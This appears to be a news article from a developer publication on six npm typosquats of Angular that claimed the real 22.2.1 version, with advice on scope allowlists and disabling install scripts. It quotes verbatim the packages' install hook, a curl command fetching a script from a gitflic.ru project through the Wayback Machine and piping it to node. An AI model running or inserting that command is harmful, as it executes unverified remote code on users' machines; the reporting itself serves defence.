Skip to content

Build1 publisher3 min readPublished

Six Angular typosquats on npm claimed the real package's live version, 22.2.1

GitHub flagged six npm typosquats of Angular that claimed the live 22.2.1 version, five pulling a payload through the Wayback Machine. With the version number now correct, the defence has to sit at the package name and at whether install scripts run at all.

The Engineer · Build desk

Drafted by a language model from the sources cited here and checked against its claim ledger before publication. How we use AISend a correction

What happened

  • The sixth package, @angulaar/cli, ran its code through a dependency on a differently named package that executes during installation, per advisory GHSA-65xg-ghmw-cq2c.
  • One fake, @anguar/core, was created at 21:58 UTC on 4 October and unpublished at 03:19 UTC on 5 October, leaving an empty name on the registry.
  • npm's download-stats endpoint has no record for the fakes, while the real @angular/core logged 7,285,166 downloads in the prior week.

Compiled by The EngineerSomething wrong?How this is made

Why it matters

  • constraint A reviewer who checks a new dependency's version against npm, or a team that pins @angular/core, gets no warning from these packages, since the version is right and only the scope is wrong.
  • exposure Networks that allow outbound traffic to web.archive.org let the fetch through, and with no hash pinned, the script that runs can change after anyone has reviewed it.
  • decision Teams have to decide whether install scripts run by default, because adding a mistyped dependency is enough to execute the payload without any import.

Adding the dependency is enough. When npm install runs, the hook executes `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node` [4]. No import or build step is needed. The script arrives unpinned and unverified [5]. The payload sits in a gitflic.ru project under an account named hellscripter [6].

The web.archive.org/web/ prefix uses the Wayback Machine's live-proxy path. The outbound request is addressed to web.archive.org, a domain most outbound filters let through, according to a write-up on dev.to by the team behind the MagAudit dependency checker [7]. The archive serves whatever hellscripter has posted at the moment of the request, with nothing checked against a hash [8]. A reviewer who fetched that file yesterday has not necessarily seen what runs today.

All six packages declared 22.2.1, the live release of @angular/core [2]. The authors contrast this with four PyPI typosquats they covered in September, which claimed numbers a release or two behind [3]. The comparison is between two batches in two registries. A pin does not help here. Pinning @angular/core to 22.2.1 constrains the package named @angular/core. A dependency added as @anguar/core at 22.2.1 carries the same string and passes a reviewer who checks the number against npm. Of the fields the advisories describe, the scope is the only one anyone had to invent. The author field reads angular, the repository URL points at github.com/angular/angular, and the README is copied from the real project [9].

Two controls work on this batch. A scope allowlist is a string comparison: @angular passes, and @angupar, @anngular, @abgular, @anfular, @anguar and @angulaar fail before any heuristic runs [1]. For a team with a short list of framework scopes, I'd put that control first. Its cost is a review each time a new scope enters the tree. Refusing install scripts by default stops the five curl hooks before the fetch [4]. The sixth, @angulaar/cli, put its execution in a dependency that runs during installation, per GHSA-65xg-ghmw-cq2c [10]. An install-time control applies to it as far as the advisory describes. Of that package, the authors wrote: "we'd rather say less than overstate what we verified this session" [11].

MagAudit, the authors' tool, flags a dependency that is brand-new, one edit from a name in wide use and without publish history, and marks it critical on the pull request [17]. It stops a merge only where the team has made the check required in branch protection [18]. The authors say every one of those signals was visible the moment the packages landed, before GitHub's review [19]. That heuristic transfers to any batch registered on the day it is used. A name registered weeks before its first malicious publish would not trip the first-published-today signal.

@anguar/core was created at 21:58:15 UTC on 4 October and unpublished at 03:19:09 UTC on 5 October [13]. It was live for 5 hours 20 minutes 54 seconds [1]. The real @angular/core took 7,285,166 downloads in the week ending 3 October [14]. At that week's average of about 43,364 an hour, the real package would have been fetched roughly 232,000 times during the fake's window, assuming a flat rate [2][3]. npm's download endpoint has no record for the fakes. The authors say that is consistent with near-zero installs but is not proof of zero [15]. The advisories do not say how many times any of the six were installed, who controls the hellscripter account, or whether one operator registered all six [16].

What to watch

  • Install counts for the six packages, if GitHub or npm publish them; the public stats endpoint currently shows nothing.
  • Whether the hellscripter project on gitflic.ru stays reachable through the Wayback live-proxy path.
  • A batch that registers lookalike scopes days before its malicious publish would get past the first-published-today signal.
Loading claim ledger
Loading source directory links
Loading share composer
Loading topic controls
Loading related stories